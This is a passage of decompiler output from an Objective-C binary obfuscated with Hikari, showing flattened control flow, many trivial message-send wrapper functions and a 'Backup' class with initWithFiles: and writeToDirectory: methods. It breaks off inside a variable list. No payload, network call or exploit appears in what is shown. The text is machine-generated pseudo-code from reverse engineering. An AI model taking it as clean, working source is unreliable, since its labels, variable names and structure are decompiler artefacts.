int v11; // [rsp+1Ch] [rbp-34h] BYREF
int *v12; // [rsp+20h] [rbp-30h]
v11 = 1930551741;
v12 = &v11;
p_properties = (id *)&self->_properties;
location = (id *)&self->_key;
p_hashData = &self->_hashData;
p_link = &self->_link;
p_filename = &self->_filename;
p_domain = &self->_domain;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v11 <= 1392458144 )
{
if ( v11 > 719990049 )
{
switch ( v11 )
{
case 719990050:
objc_storeStrong((id *)p_hashData, 0);
objc_storeStrong((id *)p_link, 0);
objc_storeStrong((id *)p_filename, 0);
objc_storeStrong((id *)p_domain, 0);
v8 = 1558407288;
goto LABEL_24;
case 754722513:
objc_storeStrong(location, 0);
*v12 = 152580730;
break;
case 1374445483:
LABEL_28:
*v12 = 719990050;
break;
}
}
else
{
switch ( v11 )
{
case -867797706:
objc_storeStrong(p_properties, 0);
v7 = 1392458145;
goto LABEL_22;
case -710752522:
*v12 = 1374445483;
break;
case 152580730:
objc_storeStrong(location, 0);
v6 = -710752522;
goto LABEL_25;
}
}
}
if ( v11 <= 1716276272 )
break;
switch ( v11 )
{
case 1716276273:
objc_storeStrong(p_properties, 0);
*v12 = -867797706;
break;
case 1842046154:
objc_storeStrong((id *)p_hashData, 0);
objc_storeStrong((id *)p_link, 0);
objc_storeStrong((id *)p_filename, 0);
objc_storeStrong((id *)p_domain, 0);
goto LABEL_28;
case 1930551741:
v7 = -867797706;
LABEL_22:
v6 = v7;
goto LABEL_25;
}
}
if ( v11 != 1392458145 )
break;
*v12 = 1590861685;
}
if ( v11 != 1590861685 )
break;
v8 = 152580730;
LABEL_24:
v6 = v8;
LABEL_25:
*v12 = v6;
}
}
while ( v11 != 1558407288 );
}
// 10023B2B5: conditional instruction was optimized away because zf.1==0
//----- (000000010023B350) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_12(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010023B360) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_696_1(objc_class *a1)
{
return HikariFunctionWrapper_12(a1);
}
//----- (000000010023B370) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_697_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B380) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_698_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_697_1(a1, a2);
}
//----- (000000010023B390) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_699_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B3A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_700_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_699_1(a1, a2);
}
//----- (000000010023B3B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_701_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B3C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_702_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_701_1(a1, a2);
}
//----- (000000010023B3D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_703_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B3E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_704_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_703_1(a1, a2);
}
//----- (000000010023B3F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_705_1(objc_class *a1)
{
return objc_alloc(a1);
}
//----- (000000010023B400) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_706_1(objc_class *a1)
{
return HikariFunctionWrapper_705_1(a1);
}
//----- (000000010023B410) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_707_1(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B420) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_708_1(void *a1, const char *a2)
{
return HikariFunctionWrapper_707_1(a1, a2);
}
//----- (000000010023B430) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_709_1(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B440) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_710_0(void *a1, const char *a2)
{
HikariFunctionWrapper_709_1(a1, a2);
}
//----- (000000010023B450) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_711_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B460) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_712_0(void *a1, const char *a2)
{
HikariFunctionWrapper_711_0(a1, a2);
}
//----- (000000010023B470) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_713_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B480) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_714_0(void *a1, const char *a2)
{
HikariFunctionWrapper_713_0(a1, a2);
}
//----- (000000010023B490) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_715_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B4A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_716_0(void *a1, const char *a2)
{
HikariFunctionWrapper_715_0(a1, a2);
}
//----- (000000010023B4B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_717_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B4C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_718_0(void *a1, const char *a2)
{
HikariFunctionWrapper_717_0(a1, a2);
}
//----- (000000010023B4D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_719_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B4E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_720_0(void *a1, const char *a2)
{
HikariFunctionWrapper_719_0(a1, a2);
}
//----- (000000010023B4F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_721_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B500) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_722_0(void *a1, const char *a2)
{
HikariFunctionWrapper_721_0(a1, a2);
}
//----- (000000010023B510) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_723_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B520) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_724_0(void *a1, const char *a2)
{
HikariFunctionWrapper_723_0(a1, a2);
}
//----- (000000010023B530) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_725_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B540) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_726_0(void *a1, const char *a2)
{
HikariFunctionWrapper_725_0(a1, a2);
}
//----- (000000010023B550) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_727_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B560) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_728_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_727_0(a1, a2);
}
//----- (000000010023B570) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_729(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B580) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_730(void *a1, const char *a2)
{
return HikariFunctionWrapper_729(a1, a2);
}
//----- (000000010023B590) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_731(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B5A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_732(void *a1, const char *a2)
{
return HikariFunctionWrapper_731(a1, a2);
}
//----- (000000010023B5B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_733(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B5C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_734(void *a1, const char *a2)
{
HikariFunctionWrapper_733(a1, a2);
}
//----- (000000010023B5D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_735(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B5E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_736(void *a1, const char *a2)
{
return HikariFunctionWrapper_735(a1, a2);
}
//----- (000000010023B5F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_737(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B600) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_738(void *a1, const char *a2)
{
HikariFunctionWrapper_737(a1, a2);
}
//----- (000000010023B610) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_739(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B620) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_740(void *a1, const char *a2)
{
HikariFunctionWrapper_739(a1, a2);
}
//----- (000000010023B630) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_741(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B640) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_742(void *a1, const char *a2)
{
return HikariFunctionWrapper_741(a1, a2);
}
//----- (000000010023B650) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_743(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B660) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_744(void *a1, const char *a2)
{
HikariFunctionWrapper_743(a1, a2);
}
//----- (000000010023B670) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_745(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B680) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_746(void *a1, const char *a2)
{
HikariFunctionWrapper_745(a1, a2);
}
//----- (000000010023B690) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_747(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B6A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_748(void *a1, const char *a2)
{
HikariFunctionWrapper_747(a1, a2);
}
//----- (000000010023B6B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_749(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B6C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_750(void *a1, const char *a2)
{
return HikariFunctionWrapper_749(a1, a2);
}
//----- (000000010023B6D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_751(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B6E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_752(void *a1, const char *a2)
{
HikariFunctionWrapper_751(a1, a2);
}
//----- (000000010023B6F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_753(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B700) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_754(void *a1, const char *a2)
{
return HikariFunctionWrapper_753(a1, a2);
}
//----- (000000010023B710) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_755(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B720) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_756(void *a1, const char *a2)
{
HikariFunctionWrapper_755(a1, a2);
}
//----- (000000010023B730) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_757(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B740) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_758(void *a1, const char *a2)
{
return HikariFunctionWrapper_757(a1, a2);
}
//----- (000000010023B750) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_759(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B760) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_760(void *a1, const char *a2)
{
HikariFunctionWrapper_759(a1, a2);
}
//----- (000000010023B770) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_761(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B780) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_762(void *a1, const char *a2)
{
HikariFunctionWrapper_761(a1, a2);
}
//----- (000000010023B790) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_763(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B7A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_764(void *a1, const char *a2)
{
return HikariFunctionWrapper_763(a1, a2);
}
//----- (000000010023B7B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_765(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B7C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_766(void *a1, const char *a2)
{
HikariFunctionWrapper_765(a1, a2);
}
//----- (000000010023B7D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_767(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B7E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_768(void *a1, const char *a2)
{
return HikariFunctionWrapper_767(a1, a2);
}
//----- (000000010023B7F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_769(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B800) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_770(void *a1, const char *a2)
{
return HikariFunctionWrapper_769(a1, a2);
}
//----- (000000010023B810) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_771(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B820) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_772(void *a1, const char *a2)
{
return HikariFunctionWrapper_771(a1, a2);
}
//----- (000000010023B830) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_773(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B840) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_774(void *a1, const char *a2)
{
return HikariFunctionWrapper_773(a1, a2);
}
//----- (000000010023B850) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_775(void *a1)
{
objc_enumerationMutation(a1);
}
//----- (000000010023B860) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_776(void *a1)
{
HikariFunctionWrapper_775(a1);
}
//----- (000000010023B870) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_777(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B880) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_778(void *a1, const char *a2)
{
return HikariFunctionWrapper_777(a1, a2);
}
//----- (000000010023B890) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_779(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B8A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_780(void *a1, const char *a2)
{
HikariFunctionWrapper_779(a1, a2);
}
//----- (000000010023B8B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_781(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B8C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_782(void *a1, const char *a2)
{
return HikariFunctionWrapper_781(a1, a2);
}
//----- (000000010023B8D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_783(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B8E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_784(void *a1, const char *a2)
{
HikariFunctionWrapper_783(a1, a2);
}
//----- (000000010023B8F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_785(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B900) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_786(void *a1, const char *a2)
{
HikariFunctionWrapper_785(a1, a2);
}
//----- (000000010023B910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_787(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_788(void *a1, const char *a2)
{
return HikariFunctionWrapper_787(a1, a2);
}
//----- (000000010023B930) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_789(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B940) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_790(void *a1, const char *a2)
{
HikariFunctionWrapper_789(a1, a2);
}
//----- (000000010023B950) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_791(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B960) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_792(void *a1, const char *a2)
{
HikariFunctionWrapper_791(a1, a2);
}
//----- (000000010023B970) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_793(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B980) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_794(void *a1, const char *a2)
{
HikariFunctionWrapper_793(a1, a2);
}
//----- (000000010023B990) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_795(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B9A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_796(void *a1, const char *a2)
{
return HikariFunctionWrapper_795(a1, a2);
}
//----- (000000010023B9B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_797(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023B9C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_798(void *a1, const char *a2)
{
HikariFunctionWrapper_797(a1, a2);
}
//----- (000000010023B9D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_799(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023B9E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_800(void *a1, const char *a2)
{
return HikariFunctionWrapper_799(a1, a2);
}
//----- (000000010023B9F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_801(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010023BA00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_802(void *a1, const char *a2)
{
HikariFunctionWrapper_801(a1, a2);
}
//----- (000000010023BA10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_803(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023BA20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_804(void *a1, const char *a2)
{
return HikariFunctionWrapper_803(a1, a2);
}
//----- (000000010023BA30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_805(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010023BA40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_806(void *a1, const char *a2)
{
return HikariFunctionWrapper_805(a1, a2);
}
//----- (000000010023BA50) ----------------------------------------------------
Backup *__cdecl -[Backup initWithFiles:](Backup *self, SEL a2, id a3)
{
bool v4; // zf
int v5; // eax
int v6; // ecx
int v7; // ecx
bool v8; // zf
int v9; // ecx
Backup *v10; // rax
int v11; // ecx
id v13; // [rsp+0h] [rbp-60h] BYREF
Backup *v14; // [rsp+8h] [rbp-58h]
id *p_files; // [rsp+10h] [rbp-50h]
int v16; // [rsp+18h] [rbp-48h]
int v17; // [rsp+1Ch] [rbp-44h] BYREF
objc_super *v18; // [rsp+20h] [rbp-40h]
bool v19; // [rsp+2Fh] [rbp-31h]
int *v20; // [rsp+30h] [rbp-30h]
v16 = 1831051538;
v17 = -1463260419;
v20 = &v17;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v17 > -238522914 )
{
if ( v17 > 665878018 )
{
if ( v17 <= 1188914713 )
{
switch ( v17 )
{
case 665878019:
v8 = 0;
v5 = -1888206243;
v9 = -7683428;
LABEL_68:
if ( v8 )
v5 = v9;
LABEL_77:
*v20 = v5;
break;
case 763469337:
objc_retain(a3);
*v20 = -1376544359;
break;
case 814718928:
v18->super_class = (Class)&OBJC_CLASS___Backup;
*v20 = 1852152570;
break;
}
}
else if ( v17 > 1838162434 )
{
if ( v17 == 1838162435 )
{
*v20 = -210580174;
}
else if ( v17 == 1852152570 )
{
v8 = 0;
v18->super_class = (Class)&OBJC_CLASS___Backup;
v5 = -1163954470;
v9 = 814718928;
goto LABEL_68;
}
}
else if ( v17 == 1188914714 )
{
*v20 = -330231909;
}
else if ( v17 == 1324375858 )
{
*v20 = -304088375;
}
}
else if ( v17 <= 291997356 )
{
switch ( v17 )
{
case -238522913:
v4 = 0;
v5 = 763469337;
v6 = -1376544359;
LABEL_64:
if ( !v4 )
v5 = v6;
goto LABEL_77;
case -210580174:
v7 = -1415938897;
goto LABEL_76;
case -7683428:
-[objc_super init](v18, "init");
*v20 = -1888206243;
break;
}
}
else if ( v17 > 457586206 )
{
if ( v17 == 457586207 )
{
*v20 = -1415938897;
}
else if ( v17 == 478368669 )
{
objc_release(a3);
*v20 = -947629400;
}
}
else if ( v17 == 291997357 )
{
*v20 = -1156093833;
}
else if ( v17 == 398100756 )
{
objc_retain(a3);
*(&v13 - 2) = self;
*v20 = -338180814;
}
}
if ( v17 > -947629401 )
break;
if ( v17 <= -1410344645 )
{
switch ( v17 )
{
case -1888206243:
v10 = (Backup *)HikariFunctionWrapper_703_2(v18, "init");
v19 = v10 == 0;
v14 = v10;
v11 = -689027588;
LABEL_60:
v5 = v11;
goto LABEL_77;
case -1463260419:
v8 = v16 == -1444434766;
v5 = -338180814;
v9 = 398100756;
goto LABEL_68;
case -1415938897:
v13 = *p_files;
v7 = 291997357;
LABEL_76:
v5 = v7;
goto LABEL_77;
}
}
else if ( v17 > -1163954471 )
{
if ( v17 == -1163954470 )
{
*v20 = 665878019;
}
else if ( v17 == -1156093833 )
{
*p_files = a3;
objc_release(v13);
*v20 = -1410344644;
}
}
else
{
if ( v17 == -1410344644 )
{
v4 = 0;
v5 = 478368669;
v6 = -947629400;
goto LABEL_64;
}
if ( v17 == -1376544359 )
{
p_files = (id *)&v14->_files;
objc_retain(a3);
v4 = 0;
v5 = 763469337;
v6 = 1838162435;
goto LABEL_64;
}
}
}
if ( v17 > -552199536 )
break;
if ( v17 > -689455559 )
{
if ( v17 == -689455558 )
{
*v20 = -842014778;
}
else if ( v17 == -689027588 )
{
v4 = !v19;
v5 = -238522913;
v6 = -1410344644;
goto LABEL_64;
}
}
else
{
if ( v17 == -947629400 )
{
objc_release(a3);
v11 = 1188914714;
goto LABEL_60;
}
if ( v17 == -842014778 )
*v20 = -552199535;
}
}
if ( v17 <= -330231910 )
break;
if ( v17 == -330231909 )
{
v4 = 0;
v5 = -689455558;
v6 = -842014778;
goto LABEL_64;
}
if ( v17 == -304088375 )
{
v4 = 0;
v5 = 814718928;
v6 = 1852152570;
goto LABEL_64;
}
}
if ( v17 == -338180814 )
{
v18 = (objc_super *)(&v13 - 2);
objc_retain(a3);
v4 = 0;
v18->receiver = self;
v5 = -338180814;
v6 = 1324375858;
goto LABEL_64;
}
}
while ( v17 != -552199535 );
return v14;
}
// 10025FAC0: using guessed type __objc2_class OBJC_CLASS___Backup;
//----- (000000010023C0E3) ----------------------------------------------------
void __cdecl -[Backup writeToDirectory:](Backup *self, SEL a2, id a3)
{
id v3; // rbx
SEL v4; // rax
const char *v5; // rcx
char v6; // cf
int v7; // eax
int v8; // ecx
char v9; // cf
int v10; // ecx
bool v11; // zf
int v12; // ecx
id v13; // rax
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // r15
id v18; // rax
id v19; // r12
id v20; // rax
id v21; // r13
id v22; // rax
id v23; // rax
id v24; // rbx
id v25; // rax
id v26; // r12
id v27; // rax
id v28; // r15
id v29; // rax
id v30; // r13
id v31; // rax
id v32; // r15
id v33; // rax
id v34; // r12
id v35; // rax
id v36; // r15
id v37; // rax
id v38; // r12
NSString *v39; // rax
NSString *v40; // rax
void *v41; // rdi
id v42; // rax
id v43; // rax
id v44; // rax
id v45; // rax
id v46; // r12
id v47; // rax
id v48; // r13
id v49; // rax
id v50; // rax
id v51; // rax
int v52; // eax
__int64 *v53; // rax
int v54; // eax
__int64 *v55; // rax
id v56; // rax
id v57; // rbx
id v58; // rax
id v59; // r12
id v60; // rax
id v61; // r13
id v62; // rax
id v63; // r15
id v64; // rax
id v65; // r15
id v66; // rax
id v67; // r12
id v68; // rax
id v69; // r15
id v70; // rax
id v71; // r12
NSString *v72; // rax
void *v73; // rdi
__int64 v74; // [rsp+0h] [rbp-1C0h] BYREF
id v75; // [rsp+8h] [rbp-1B8h]
SEL v76; // [rsp+10h] [rbp-1B0h]
const char *v77; // [rsp+18h] [rbp-1A8h]
const char *v78; // [rsp+20h] [rbp-1A0h]
_QWORD **v79; // [rsp+28h] [rbp-198h]
__int64 v80; // [rsp+30h] [rbp-190h]
_QWORD *v81; // [rsp+38h] [rbp-188h]
NSString *v82; // [rsp+40h] [rbp-180h]
id v83; // [rsp+48h] [rbp-178h]
id v84; // [rsp+50h] [rbp-170h]
SEL v85; // [rsp+58h] [rbp-168h]
SEL v86; // [rsp+60h] [rbp-160h]
id v87; // [rsp+68h] [rbp-158h]
SEL v88; // [rsp+70h] [rbp-150h]
SEL v89; // [rsp+78h] [rbp-148h]
const char *v90; // [rsp+80h] [rbp-140h]
SEL v91; // [rsp+88h] [rbp-138h]
SEL v92; // [rsp+90h] [rbp-130h]
SEL v93; // [rsp+98h] [rbp-128h]
const char *v94; // [rsp+A0h] [rbp-120h]
